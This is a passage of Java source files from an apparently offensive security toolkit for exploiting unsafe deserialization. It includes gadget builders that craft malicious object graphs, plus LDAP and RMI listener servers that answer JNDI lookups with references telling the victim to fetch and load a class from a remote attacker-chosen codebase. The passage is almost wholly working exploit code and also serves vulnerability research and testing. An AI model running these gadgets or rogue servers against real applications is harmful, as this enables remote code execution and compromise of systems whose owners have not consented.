makeToStringTrigger(o, x -> { 71 | return new HotSwappableTargetSource(x); 72 | }); 73 | } 74 | 75 | 76 | public static String unhash ( int hash ) { 77 | int target = hash; 78 | StringBuilder answer = new StringBuilder(); 79 | if ( target < 0 ) { 80 | // String with hash of Integer.MIN_VALUE, 0x80000000 81 | answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); 82 | 83 | if ( target == Integer.MIN_VALUE ) 84 | return answer.toString(); 85 | // Find target without sign bit set 86 | target = target & Integer.MAX_VALUE; 87 | } 88 | 89 | unhash0(answer, target); 90 | return answer.toString(); 91 | } 92 | 93 | 94 | private static void unhash0 ( StringBuilder partial, int target ) { 95 | int div = target / 31; 96 | int rem = target % 31; 97 | 98 | if ( div <= Character.MAX_VALUE ) { 99 | if ( div != 0 ) 100 | partial.append((char) div); 101 | partial.append((char) rem); 102 | } 103 | else { 104 | unhash0(partial, div); 105 | partial.append((char) rem); 106 | } 107 | } 108 | 109 | } 110 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/UnicastRefGadget.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import java.rmi.server.ObjID; 27 | import java.util.Random; 28 | 29 | import marshalsec.UtilFactory; 30 | import sun.rmi.server.UnicastRef; 31 | import sun.rmi.transport.LiveRef; 32 | import sun.rmi.transport.tcp.TCPEndpoint; 33 | 34 | 35 | /** 36 | * @author mbechler 37 | * 38 | */ 39 | public interface UnicastRefGadget extends Gadget { 40 | 41 | @Args ( minArgs = 2, args = { 42 | "host", "port" 43 | }, defaultArgs = { 44 | "localhost", "1099" 45 | }, noTest = true ) 46 | default Object makeUnicastRef ( UtilFactory uf, String... args ) { 47 | ObjID id = new ObjID(new Random().nextInt()); // RMI registry 48 | TCPEndpoint te = new TCPEndpoint(args[ 0 ], Integer.parseInt(args[ 1 ])); 49 | return new UnicastRef(new LiveRef(id, te, false)); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/UnicastRemoteObjectGadget.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import marshalsec.UtilFactory; 27 | import marshalsec.util.Reflections; 28 | 29 | 30 | /** 31 | * @author mbechler 32 | * 33 | */ 34 | public interface UnicastRemoteObjectGadget extends Gadget { 35 | 36 | @Args ( args = { 37 | "port" 38 | }, noTest = true ) 39 | default Object makeUnicastRemoteObject ( UtilFactory uf, String... args ) throws Exception { 40 | java.rmi.server.UnicastRemoteObject uro = Reflections.createWithoutConstructor(java.rmi.server.UnicastRemoteObject.class); 41 | if ( args.length > 0 ) { 42 | Reflections.setFieldValue(uro, "port", Integer.parseInt(args[ 0 ])); 43 | } 44 | else { 45 | Reflections.setFieldValue(uro, "port", 6666); 46 | } 47 | return uro; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/XBean.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import javax.naming.Context; 27 | import javax.naming.Reference; 28 | 29 | import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding; 30 | import org.apache.xbean.naming.context.WritableContext; 31 | 32 | import marshalsec.MarshallerBase; 33 | import marshalsec.UtilFactory; 34 | import marshalsec.util.Reflections; 35 | 36 | 37 | /** 38 | * @author mbechler 39 | * 40 | */ 41 | public interface XBean extends Gadget { 42 | 43 | @Args ( minArgs = 2, args = { 44 | "codebase", "classname" 45 | }, defaultArgs = { 46 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 47 | } ) 48 | default Object makeXBean ( UtilFactory uf, String[] args ) throws Exception { 49 | Context ctx = Reflections.createWithoutConstructor(WritableContext.class); 50 | Reference ref = new Reference("foo", args[ 1 ], args[ 0 ]); 51 | ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx); 52 | return uf.makeToStringTriggerUnstable(binding); // $NON-NLS-1$ 53 | } 54 | 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/jndi/LDAPRefServer.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.jndi; 24 | 25 | 26 | import java.net.InetAddress; 27 | import java.net.MalformedURLException; 28 | import java.net.URL; 29 | 30 | import javax.net.ServerSocketFactory; 31 | import javax.net.SocketFactory; 32 | import javax.net.ssl.SSLSocketFactory; 33 | 34 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 35 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 36 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 37 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 38 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 39 | import com.unboundid.ldap.sdk.Entry; 40 | import com.unboundid.ldap.sdk.LDAPException; 41 | import com.unboundid.ldap.sdk.LDAPResult; 42 | import com.unboundid.ldap.sdk.ResultCode; 43 | 44 | 45 | /** 46 | * LDAP server implementation returning JNDI references 47 | * 48 | * @author mbechler 49 | * 50 | */ 51 | public class LDAPRefServer { 52 | 53 | private static final String LDAP_BASE = "dc=example,dc=com"; 54 | 55 | 56 | public static void main ( String[] args ) { 57 | int port = 1389; 58 | if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { 59 | System.err.println(LDAPRefServer.class.getSimpleName() + " []"); //$NON-NLS-1$ 60 | System.exit(-1); 61 | } 62 | else if ( args.length > 1 ) { 63 | port = Integer.parseInt(args[ 1 ]); 64 | } 65 | 66 | try { 67 | InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); 68 | config.setListenerConfigs(new InMemoryListenerConfig( 69 | "listen", //$NON-NLS-1$ 70 | InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ 71 | port, 72 | ServerSocketFactory.getDefault(), 73 | SocketFactory.getDefault(), 74 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 75 | 76 | config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); 77 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); 78 | System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ 79 | ds.startListening(); 80 | 81 | } 82 | catch ( Exception e ) { 83 | e.printStackTrace(); 84 | } 85 | } 86 | 87 | private static class OperationInterceptor extends InMemoryOperationInterceptor { 88 | 89 | private URL codebase; 90 | 91 | 92 | /** 93 | * 94 | */ 95 | public OperationInterceptor ( URL cb ) { 96 | this.codebase = cb; 97 | } 98 | 99 | 100 | /** 101 | * {@inheritDoc} 102 | * 103 | * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) 104 | */ 105 | @Override 106 | public void processSearchResult ( InMemoryInterceptedSearchResult result ) { 107 | String base = result.getRequest().getBaseDN(); 108 | Entry e = new Entry(base); 109 | try { 110 | sendResult(result, base, e); 111 | } 112 | catch ( Exception e1 ) { 113 | e1.printStackTrace(); 114 | } 115 | 116 | } 117 | 118 | 119 | protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { 120 | URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); 121 | System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); 122 | e.addAttribute("javaClassName", "foo"); 123 | String cbstring = this.codebase.toString(); 124 | int refPos = cbstring.indexOf('#'); 125 | if ( refPos > 0 ) { 126 | cbstring = cbstring.substring(0, refPos); 127 | } 128 | e.addAttribute("javaCodeBase", cbstring); 129 | e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ 130 | e.addAttribute("javaFactory", this.codebase.getRef()); 131 | result.sendSearchEntry(e); 132 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 133 | } 134 | 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/jndi/RMIRefServer.java: -------------------------------------------------------------------------------- 1 | package marshalsec.jndi; 2 | 3 | 4 | import java.io.BufferedInputStream; 5 | import java.io.BufferedOutputStream; 6 | import java.io.DataInputStream; 7 | import java.io.DataOutputStream; 8 | import java.io.IOException; 9 | import java.io.InputStream; 10 | import java.io.ObjectInputStream; 11 | import java.io.ObjectOutputStream; 12 | import java.io.ObjectStreamClass; 13 | import java.io.OutputStream; 14 | import java.io.Serializable; 15 | import java.lang.reflect.Field; 16 | import java.net.InetSocketAddress; 17 | import java.net.ServerSocket; 18 | import java.net.Socket; 19 | import java.net.SocketException; 20 | import java.net.URL; 21 | import java.net.URLClassLoader; 22 | import java.rmi.MarshalException; 23 | import java.rmi.server.ObjID; 24 | import java.rmi.server.RemoteObject; 25 | import java.rmi.server.UID; 26 | import java.util.Arrays; 27 | 28 | import javax.naming.Reference; 29 | import javax.net.ServerSocketFactory; 30 | 31 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 32 | 33 | import javassist.ClassClassPath; 34 | import javassist.ClassPool; 35 | import javassist.CtClass; 36 | import marshalsec.util.Reflections; 37 | import sun.rmi.server.UnicastServerRef; 38 | import sun.rmi.transport.TransportConstants; 39 | 40 | 41 | /** 42 | * Generic JRMP listener 43 | * 44 | * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory. 45 | * 46 | * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121. 47 | * 48 | * @author mbechler 49 | * 50 | */ 51 | @SuppressWarnings ( { 52 | "restriction" 53 | } ) 54 | public class RMIRefServer implements Runnable { 55 | 56 | private int port; 57 | private ServerSocket ss; 58 | private Object waitLock = new Object(); 59 | private boolean exit; 60 | private boolean hadConnection; 61 | private URL classpathUrl; 62 | 63 | 64 | public RMIRefServer ( int port, URL classpathUrl ) throws IOException { 65 | this.port = port; 66 | this.classpathUrl = classpathUrl; 67 | this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); 68 | } 69 | 70 | 71 | public boolean waitFor ( int i ) { 72 | try { 73 | if ( this.hadConnection ) { 74 | return true; 75 | } 76 | System.err.println("Waiting for connection"); 77 | synchronized ( this.waitLock ) { 78 | this.waitLock.wait(i); 79 | } 80 | return this.hadConnection; 81 | } 82 | catch ( InterruptedException e ) { 83 | return false; 84 | } 85 | } 86 | 87 | 88 | /** 89 | * 90 | */ 91 | public void close () { 92 | this.exit = true; 93 | try { 94 | this.ss.close(); 95 | } 96 | catch ( IOException e ) {} 97 | synchronized ( this.waitLock ) { 98 | this.waitLock.notify(); 99 | } 100 | } 101 | 102 | 103 | public static final void main ( final String[] args ) { 104 | int port = 1099; 105 | if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { 106 | System.err.println(RMIRefServer.class.getName() + " []"); 107 | System.exit(-1); 108 | return; 109 | } 110 | if ( args.length >= 2 ) { 111 | port = Integer.parseInt(args[ 1 ]); 112 | } 113 | 114 | try { 115 | System.err.println("* Opening JRMP listener on " + port); 116 | RMIRefServer c = new RMIRefServer(port, new URL(args[ 0 ])); 117 | c.run(); 118 | } 119 | catch ( Exception e ) { 120 | System.err.println("Listener error"); 121 | e.printStackTrace(System.err); 122 | } 123 | } 124 | 125 | 126 | @Override 127 | public void run () { 128 | try { 129 | @SuppressWarnings ( "resource" ) 130 | Socket s = null; 131 | try { 132 | while ( !this.exit && ( s = this.ss.accept() ) != null ) { 133 | try { 134 | s.setSoTimeout(5000); 135 | InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); 136 | System.err.println("Have connection from " + remote); 137 | 138 | InputStream is = s.getInputStream(); 139 | InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); 140 | 141 | // Read magic (or HTTP wrapper) 142 | bufIn.mark(4); 143 | try ( DataInputStream in = new DataInputStream(bufIn) ) { 144 | int magic = in.readInt(); 145 | 146 | short version = in.readShort(); 147 | if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { 148 | s.close(); 149 | continue; 150 | } 151 | 152 | OutputStream sockOut = s.getOutputStream(); 153 | BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); 154 | try ( DataOutputStream out = new DataOutputStream(bufOut) ) { 155 | 156 | byte protocol = in.readByte(); 157 | switch ( protocol ) { 158 | case TransportConstants.StreamProtocol: 159 | out.writeByte(TransportConstants.ProtocolAck); 160 | if ( remote.getHostName() != null ) { 161 | out.writeUTF(remote.getHostName()); 162 | } 163 | else { 164 | out.writeUTF(remote.getAddress().toString()); 165 | } 166 | out.writeInt(remote.getPort()); 167 | out.flush(); 168 | in.readUTF(); 169 | in.readInt(); 170 | case TransportConstants.SingleOpProtocol: 171 | doMessage(s, in, out); 172 | break; 173 | default: 174 | case TransportConstants.MultiplexProtocol: 175 | System.err.println("Unsupported protocol"); 176 | s.close(); 177 | continue; 178 | } 179 | 180 | bufOut.flush(); 181 | out.flush(); 182 | } 183 | } 184 | } 185 | catch ( InterruptedException e ) { 186 | return; 187 | } 188 | catch ( Exception e ) { 189 | e.printStackTrace(System.err); 190 | } 191 | finally { 192 | System.err.println("Closing connection"); 193 | s.close(); 194 | } 195 | 196 | } 197 | 198 | } 199 | finally { 200 | if ( s != null ) { 201 | s.close(); 202 | } 203 | if ( this.ss != null ) { 204 | this.ss.close(); 205 | } 206 | } 207 | 208 | } 209 | catch ( SocketException e ) { 210 | return; 211 | } 212 | catch ( Exception e ) { 213 | e.printStackTrace(System.err); 214 | } 215 | } 216 | 217 | 218 | private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception { 219 | System.err.println("Reading message..."); 220 | 221 | int op = in.read(); 222 | 223 | switch ( op ) { 224 | case TransportConstants.Call: 225 | // service incoming RMI call 226 | doCall(in, out); 227 | break; 228 | 229 | case TransportConstants.Ping: 230 | // send ack for ping 231 | out.writeByte(TransportConstants.PingAck); 232 | break; 233 | 234 | case TransportConstants.DGCAck: 235 | UID.read(in); 236 | break; 237 | 238 | default: 239 | throw new IOException("unknown transport op " + op); 240 | } 241 | 242 | s.close(); 243 | } 244 | 245 | 246 | private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception { 247 | ObjectInputStream ois = new ObjectInputStream(in) { 248 | 249 | @Override 250 | protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { 251 | if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName()) ) { 252 | return ObjID[].class; 253 | } 254 | else if ( "java.rmi.server.ObjID".equals(desc.getName()) ) { 255 | return ObjID.class; 256 | } 257 | else if ( "java.rmi.server.UID".equals(desc.getName()) ) { 258 | return UID.class; 259 | } 260 | else if ( "java.lang.String".equals(desc.getName()) ) { 261 | return String.class; 262 | } 263 | throw new IOException("Not allowed to read object"); 264 | } 265 | }; 266 | 267 | ObjID read; 268 | try { 269 | read = ObjID.read(ois); 270 | } 271 | catch ( java.io.IOException e ) { 272 | throw new MarshalException("unable to read objID", e); 273 | } 274 | 275 | if ( read.hashCode() == 2 ) { 276 | // DGC 277 | handleDGC(ois); 278 | } 279 | else if ( read.hashCode() == 0 ) { 280 | if ( handleRMI(ois, out) ) { 281 | this.hadConnection = true; 282 | synchronized ( this.waitLock ) { 283 | this.waitLock.notifyAll(); 284 | } 285 | return; 286 | } 287 | } 288 | 289 | } 290 | 291 | 292 | /** 293 | * @param ois 294 | * @param out 295 | * @throws IOException 296 | * @throws ClassNotFoundException 297 | * @throws NamingException 298 | */ 299 | private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception { 300 | int method = ois.readInt(); // method 301 | ois.readLong(); // hash 302 | 303 | if ( method != 2 ) { // lookup 304 | return false; 305 | } 306 | 307 | String object = (String) ois.readObject(); 308 | System.err.println("Is RMI.lookup call for " + object + " " + method); 309 | 310 | out.writeByte(TransportConstants.Return);// transport op 311 | try ( ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl) ) { 312 | 313 | oos.writeByte(TransportConstants.NormalReturn); 314 | new UID().write(oos); 315 | 316 | System.err.println( 317 | String.format( 318 | "Sending remote classloading stub targeting %s", 319 | new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class")))); 320 | 321 | ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class); 322 | Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString())); 323 | Field refF = RemoteObject.class.getDeclaredField("ref"); 324 | refF.setAccessible(true); 325 | refF.set(rw, new UnicastServerRef(12345)); 326 | 327 | oos.writeObject(rw); 328 | 329 | oos.flush(); 330 | out.flush(); 331 | } 332 | return true; 333 | } 334 | 335 | 336 | /** 337 | * @param ois 338 | * @throws IOException 339 | * @throws ClassNotFoundException 340 | */ 341 | private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException { 342 | ois.readInt(); // method 343 | ois.readLong(); // hash 344 | System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); 345 | } 346 | 347 | 348 | @SuppressWarnings ( "deprecation" ) 349 | protected static Object makeDummyObject ( String className ) { 350 | try { 351 | ClassLoader isolation = new ClassLoader() {}; 352 | ClassPool cp = new ClassPool(); 353 | cp.insertClassPath(new ClassClassPath(Dummy.class)); 354 | CtClass clazz = cp.get(Dummy.class.getName()); 355 | clazz.setName(className); 356 | return clazz.toClass(isolation).newInstance(); 357 | } 358 | catch ( Exception e ) { 359 | e.printStackTrace(); 360 | return new byte[0]; 361 | } 362 | } 363 | 364 | public static class Dummy implements Serializable { 365 | 366 | private static final long serialVersionUID = 1L; 367 | 368 | } 369 | 370 | static final class MarshalOutputStream extends ObjectOutputStream { 371 | 372 | private URL sendUrl; 373 | 374 | 375 | public MarshalOutputStream ( OutputStream out, URL u ) throws IOException { 376 | super(out); 377 | this.sendUrl = u; 378 | } 379 | 380 | 381 | MarshalOutputStream ( OutputStream out ) throws IOException { 382 | super(out); 383 | } 384 | 385 | 386 | @Override 387 | protected void annotateClass ( Class cl ) throws IOException { 388 | if ( this.sendUrl != null ) { 389 | writeObject(this.sendUrl.toString()); 390 | } 391 | else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { 392 | writeObject(null); 393 | } 394 | else { 395 | URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); 396 | String cb = ""; 397 | 398 | for ( URL u : us ) { 399 | cb += u.toString(); 400 | } 401 | writeObject(cb); 402 | } 403 | } 404 | 405 | 406 | /** 407 | * Serializes a location from which to load the specified class. 408 | */ 409 | @Override 410 | protected void annotateProxyClass ( Class cl ) throws IOException { 411 | annotateClass(cl); 412 | } 413 | } 414 | } 415 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package marshalsec.util; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.Field; 5 | import java.lang.reflect.InvocationTargetException; 6 | 7 | import sun.reflect.ReflectionFactory; 8 | 9 | 10 | @SuppressWarnings ( "restriction" ) 11 | public class Reflections { 12 | 13 | public static Field getField ( final Class clazz, final String fieldName ) throws Exception { 14 | try { 15 | Field field = clazz.getDeclaredField(fieldName); 16 | if ( field != null ) 17 | field.setAccessible(true); 18 | else if ( clazz.getSuperclass() != null ) 19 | field = getField(clazz.getSuperclass(), fieldName); 20 | 21 | return field; 22 | } 23 | catch ( NoSuchFieldException e ) { 24 | if ( !clazz.getSuperclass().equals(Object.class) ) { 25 | return getField(clazz.getSuperclass(), fieldName); 26 | } 27 | throw e; 28 | } 29 | } 30 | 31 | 32 | public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { 33 | final Field field = getField(obj.getClass(), fieldName); 34 | field.set(obj, value); 35 | } 36 | 37 | 38 | public static Object getFieldValue ( final Object obj, final String fieldName ) throws Exception { 39 | final Field field = getField(obj.getClass(), fieldName); 40 | return field.get(obj); 41 | } 42 | 43 | 44 | public static Constructor getFirstCtor ( final String name ) throws Exception { 45 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[ 0 ]; 46 | ctor.setAccessible(true); 47 | return ctor; 48 | } 49 | 50 | 51 | public static T createWithoutConstructor ( Class classToInstantiate ) 52 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 53 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 54 | } 55 | 56 | 57 | @SuppressWarnings ( { 58 | "unchecked" 59 | } ) 60 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, 61 | Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 62 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 63 | objCons.setAccessible(true); 64 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 65 | sc.setAccessible(true); 66 | return (T) sc.newInstance(consArgs); 67 | } 68 | 69 | } 70 | -------------------------------------------------------------------------------- /src/test/java/GadgetsTest.java: -------------------------------------------------------------------------------- 1 | 2 | /* MIT License 3 | 4 | Copyright (c) 2017 Moritz Bechler 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | */ 24 | import org.junit.BeforeClass; 25 | import org.junit.Test; 26 | 27 | import marshalsec.BlazeDSAMF0; 28 | import marshalsec.BlazeDSAMF3; 29 | import marshalsec.BlazeDSAMFX; 30 | import marshalsec.Burlap; 31 | import marshalsec.Hessian; 32 | import marshalsec.JYAML; 33 | import marshalsec.Jackson; 34 | import marshalsec.Java; 35 | import marshalsec.JsonIO; 36 | import marshalsec.Kryo; 37 | import marshalsec.KryoAltStrategy; 38 | import marshalsec.MarshallerBase; 39 | import marshalsec.Red5AMF0; 40 | import marshalsec.Red5AMF3; 41 | import marshalsec.SnakeYAML; 42 | import marshalsec.XStream; 43 | import marshalsec.YAMLBeans; 44 | 45 | 46 | /** 47 | * @author mbechler 48 | * 49 | */ 50 | public class GadgetsTest { 51 | 52 | @BeforeClass 53 | public static void printVersion () { 54 | System.err.println("Java version is " + System.getProperty("java.vendor") + " " + System.getProperty("java.version")); 55 | } 56 | 57 | 58 | @Test 59 | public void blazeDSAMF0 () throws Exception { 60 | runTests(new BlazeDSAMF0()); 61 | } 62 | 63 | 64 | @Test 65 | public void blazeDSAMF3 () throws Exception { 66 | runTests(new BlazeDSAMF3()); 67 | } 68 | 69 | 70 | @Test 71 | public void blazeDSAMFX () throws Exception { 72 | runTests(new BlazeDSAMFX()); 73 | } 74 | 75 | 76 | @Test 77 | public void burlap () throws Exception { 78 | runTests(new Burlap()); 79 | } 80 | 81 | 82 | @Test 83 | public void hessian () throws Exception { 84 | runTests(new Hessian()); 85 | } 86 | 87 | 88 | @Test 89 | public void jackson () throws Exception { 90 | runTests(new Jackson()); 91 | } 92 | 93 | 94 | @Test 95 | public void java () throws Exception { 96 | runTests(new Java()); 97 | } 98 | 99 | 100 | @Test 101 | public void jsonio () throws Exception { 102 | runTests(new JsonIO()); 103 | } 104 | 105 | 106 | @Test 107 | public void jyaml () throws Exception { 108 | runTests(new JYAML()); 109 | } 110 | 111 | 112 | @Test 113 | public void kryo () throws Exception { 114 | runTests(new Kryo()); 115 | } 116 | 117 | 118 | @Test 119 | public void kryoAlt () throws Exception { 120 | runTests(new KryoAltStrategy()); 121 | } 122 | 123 | 124 | @Test 125 | public void red5AMF0 () throws Exception { 126 | runTests(new Red5AMF0()); 127 | } 128 | 129 | 130 | @Test 131 | public void red5AMF3 () throws Exception { 132 | runTests(new Red5AMF3()); 133 | } 134 | 135 | 136 | @Test 137 | public void snakeyaml () throws Exception { 138 | runTests(new SnakeYAML()); 139 | } 140 | 141 | 142 | @Test 143 | public void xstream () throws Exception { 144 | runTests(new XStream()); 145 | } 146 | 147 | 148 | @Test 149 | public void yamlbeans () throws Exception { 150 | runTests(new YAMLBeans()); 151 | } 152 | 153 | 154 | private static void runTests ( MarshallerBase marshaller ) throws Exception { 155 | marshaller.runTests(); 156 | } 157 | 158 | } 159 | --------------------------------------------------------------------------------